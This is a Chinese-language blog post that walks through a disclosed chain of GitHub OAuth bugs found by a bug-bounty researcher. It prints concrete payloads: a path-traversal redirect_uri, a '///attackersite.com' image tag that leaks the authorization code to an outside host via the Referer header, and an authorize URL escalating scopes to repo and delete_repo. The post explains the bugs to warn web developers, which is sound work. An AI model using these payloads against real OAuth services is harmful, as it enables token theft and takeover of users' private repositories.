Egor Homakov(Twitter: @homakov 我的網站: EgorHomakov.com)是一個Web安全的佈道士,他這兩天把github給黑了,並給github報了5個安全方面的bug,他在他的這篇blog——《How I hacked Github again》(牆)說明了這5個安全bug以及他把github黑掉的思路。Egor的這篇文章講得比較簡單,不少地方一筆帶過,因此,我在這裏用個人語言給你們闡述一下黑掉Github的思路以及原文中所提到的那5個bug。但願這篇文章能讓從事Web開發的同窗們警戒。關於Web開發中的安全事項,你們能夠看看這篇文章《Web開發中的你須要瞭解的東西》html
首先,這個故事要從Github OAuth講起。因此,咱們須要先知道什麼是OAuth。所謂OAuth就是說,第三方的應用能夠經過你的受權而不用知道你的賬號密碼可以訪問你在某網站的你本身的數據或功能。像Google, Facebook, Twitter等網站都提供了OAuth服務,提供OAuth服務的網站通常都有不少開放的API,第三方應用會調用這些API來開發他們的應用以讓用戶擁有更多的功能,可是,當用戶在使用這些第三方應用的時候,這些第三方的應用會來訪問用戶的賬戶內的功能和數據,因此,當第三應用要幹這些事的時候,咱們不能讓第三方應用彈出一個對話框來問用戶要他的賬號密碼,否則第三方的應用就把用戶的密碼給獲取了,因此,OAuth協議會跳轉到一個頁面,讓用戶受權給這個第三方應用以某些權限,而後,這個權限受權的記錄保存在Google/Facebook/Twitter上,並向第三方應用返回一個受權token,因而第三方的應用經過這個token來操做某用戶賬號的功能和數據時,就暢通無阻了。下圖簡單地說明了Twitter的OAuth的受權過程。前端
從上面的流程圖中,咱們能夠看OAuth不論是1.0仍是2.0版本都是一個比較複雜的協議,因此,在Server端要把OAuth實現對並非一些容易事,其老是或多或少會有些小錯誤。Egor就找到了幾個Github的OAuth的實現的問題。git
還須要注意的是,由於OAuth是須要跳到主站的網頁上去讓用戶受權,當用戶受權完後,須要跳轉回原網頁,因此,通常來講,OAuth受權頁都會帶一個 redirect_url的參數,用於指定跳轉回原來的網頁。Github使用的這個跳轉參數是redirect_uri參數。通常來講,redirect_uri這個參數須要在服務器端進行驗證。程序員
你想一下,若是有人能夠控制這個redirect_uri這個參數,那麼,你就可讓其跳轉到別的網頁上(可能會是個有惡意的網頁)。若是你以爲跳轉到別的網頁上也無所謂,那麼你就錯了。別忘了,當你對這個第三方的應用受權經過後,服務方會給第三方應用返回一個受權token,這個token會被加到那個redirect_uri參數後面而後跳轉回去,若是這個redirect_uri被別有用心的人改一個惡意的網址後,這個token也就被轉過去了,因而受權token也就被泄漏過去了。github
知道了這一切,咱們就能夠理解Egor提的那5個bug是什麼意思了。正則表達式
首先,咱們經過Github的 redirect_uri 的說明文檔咱們能夠看到這樣的說明:shell
若是 CALLBACK URL是: http://example.com/path GOOD: https://example.com/path GOOD: http://example.com/path/subdir/other BAD: http://example.com/bar BAD: http://example.com/ BAD: http://example.com:8080/path BAD: http://oauth.example.com:8080/path BAD: http://example.org
而Github對於redirect_uri作了限制,要求只能跳回到 https://gist.github.com/auth/github/callback/,也就是說,域名是gist.github.com,目錄是/auth/github/callback/,服務器端作了這個限制,看似很安全了。編程
可是,Egor發現,Github的服務器端並無驗證.. /../../這樣的狀況。後端
因而,Egor至關於構造了一個下面這樣的Redirect URL:瀏覽器
https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
因而上面的URL就至關於:
https://gist.github.com/homakov/8820324?code=CODE
你能夠看到,認證後的跳轉網頁轉到了別的地方去(並不是是github限制的地方)——咱們知道Github的gist雖然是給你分享代碼片斷的,可是也能夠用來定製本身的東西的(好比markdown),這個gist的網頁固然是被Egor所控制的。
第一個bug其實並無什麼,若是服務器端要校驗一下token是否和以前生成的token的redirect_uri如出一轍,只要服務器作了這個驗證,第一個bug徹底沒有什麼用處,可是,github的服務端並無驗證。
這就是第二個bug,因而第一個和第二個bug組合起來成了一個至關有威力的安全漏洞。
也就是說,token的生成要考慮redirect_uri,這樣,當URL跳轉的時候,會把redirect_uri和token帶到跳轉頁面(這裏的跳轉頁面仍是github本身的),跳轉頁面的服務端程序要用redirect_uri來生成一個token,看看是否是和傳來的token是一個樣的。這就是所謂的對URL進行簽名——以保證URL的不被人篡改。通常來講,對URL簽名和對簽名驗證的因子包括,源IP,服務器時間截,session,或是再加個salt什麼的。
如今,redirect_uri帶着code,安全順利地跳到了Egor構造的網頁上:
https://gist.github.com/homakov/8820324?code=CODE
可是,這個是gist的網頁,你沒法在這個頁面上運行前端(Javascript)或後端程序(Ruby——Github是Ruby作的),如今的問題是咱們怎麼獲得那個code,由於那個code雖而後帶到了個人網頁上來,但那個網頁仍是github和用戶本身的環境。
到這裏,通常來講,黑客會在這個頁面上放一個諸以下面的一個連接,來引誘用戶點擊,:
<a href=http://hack.you.com/>私人照片</a>
這樣,當頁面跳轉到黑客的網站上來後,你以前的網頁上的網址會被加在http頭裏的 Refere 參數裏,這樣,我就能夠獲得你的token了。
可是,在gist上放個連接還要用戶去點一下,這個太影響「用戶體驗」了,最好能嵌入點外部的東西。gist上能夠嵌入外站的圖片,可是github的開發人員並不是等閒之輩,對於外站的圖片,其通通會把這些圖片的url代理成github本身的url,因此,你很難搞定。
不過,咱們能夠用一個很詭異的技巧:
<img src=」///attackersite.com」>
這個是什麼玩意?這個是個URL的相對路徑。可是爲何會有三個///呢?呵呵。
這個時候,咱們須要以「程序員的編程思惟」來思考問題——若是你是程序員,你會怎麼寫校驗URL的程序?你必定會想到使用正則表達式,或是用程序來匹配URL中的一些pattern。因而,
好了,若是coolshell.cn網頁中的<img src=>或<a href=>中用到的相對路徑是 /host.com,那麼瀏覽器會解釋成:http://coolshell.cn/host.com,若是是///host.com,那麼就應該被瀏覽器解釋成 http://coolshell.cn///host.com。
可是,Chrome和Firefox,會把///host.com當成絕對路徑,由於其正確匹配了絕對路徑的scheme。若是你正在用Chrome/Firefox看這篇文章 ,你能夠看看下面的鏈接(源碼以下):
<a href="///www.google.com">CoolShell Test</a>
關鍵是,這個Chrome/Firefox的問題被標記成了Won’t Fix,我勒個去,基本上來講,後臺的程序也有可能有這樣的問題,對於Perl,Python,Ruby,Node.js,PHP帶的URL檢查的函數庫都有這樣的問題。
因而,咱們就可使用這樣的方式給gist注入了一個第三方站點的圖片(github的服務端沒有察覺到(由於咱們前面說過大多數語言的URL檢查庫都會被 Bypass了),可是瀏覽器端把這個連接解釋到了第三方的站點上),因而請求這個圖片的http頭中的refere 中包含用戶當前頁面的URL,也包含了用戶受權的code。
到這裏,黑客Egor已經拿到用戶gist的權限並能夠修改或查看用戶私用的gist了。可是做者並無知足,他想要的更多。
因而Egor在用戶的cookie裏找到了 github_token
可是這個token沒什麼用,由於受權的Scope只有gists。可是,這個token不該該放在用戶端的cookie裏,自己就是一個安全事故,這個東西只能放在服務端(關於Web開發中的安全事項,能夠看看這篇文章《Web開發中的你須要瞭解的東西》)。
因而,Egor只能另謀出路。
由於gist是github自家的,Egor因此估計github想作得簡單一點,當用戶訪問gist的時候,不會出彈出一個OAuth的頁面來讓用戶受權,否則,用戶就會很詫異,都是大家自家的東西,還要受權?因此,Egor猜想github應該是對gist作了自動受權,因而,Egor搞了這樣的一個URL(注意其中的 redirect_uri中的scope )
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications
因而,這個redirect-uri不但幫黑客拿到了訪問gist的token,並且還把受權token的scope擴大到了用戶的代碼庫等其它權限。因而你就能夠黑入用戶的私有代碼區了。
因而,做者從 Github Security Bug Bounty 拿到了USD $4,000的獎勵!Egor一共花了從下午2點到6點一共4個小時找到了這些Bug,平均一小時1000美刀。Egor還很得瑟的說,若是Github請他作安全顧問,他只收一小時USD $400刀,這4個小時也就$1,600。呵呵。你們看看,這是多麼有效率的賺錢方式。
下圖是Github上的賞金獵手的排行榜(https://bounty.github.com/index.html#leaderboard)你能夠上去挨個看看他們找到的問題,你會發現好些安全問題都很小,有些只能說是否是很規範的問題,Github都賞了幾百刀。我查看了一下github的賞金政策,github賞金至少100刀,到5000刀不等。
讓咱們捫心自問一下,咱們花了多少時間在玩那些「紅包遊戲」,而又搞到了多少紅包?人家4個小時找了5個bug,掙了$4000美金。老天給了你我同樣的時間,咱們用來抽幾塊錢的紅包,人家用本身的技能來掙獎金。這就是人和人的差距。這就是所謂的效率——你能夠移步看看我寫的《加班與效率》
(全文完)
(轉載本站文章請註明做者和出處 酷 殼 – CoolShell.cn ,請勿用於任何商業用途)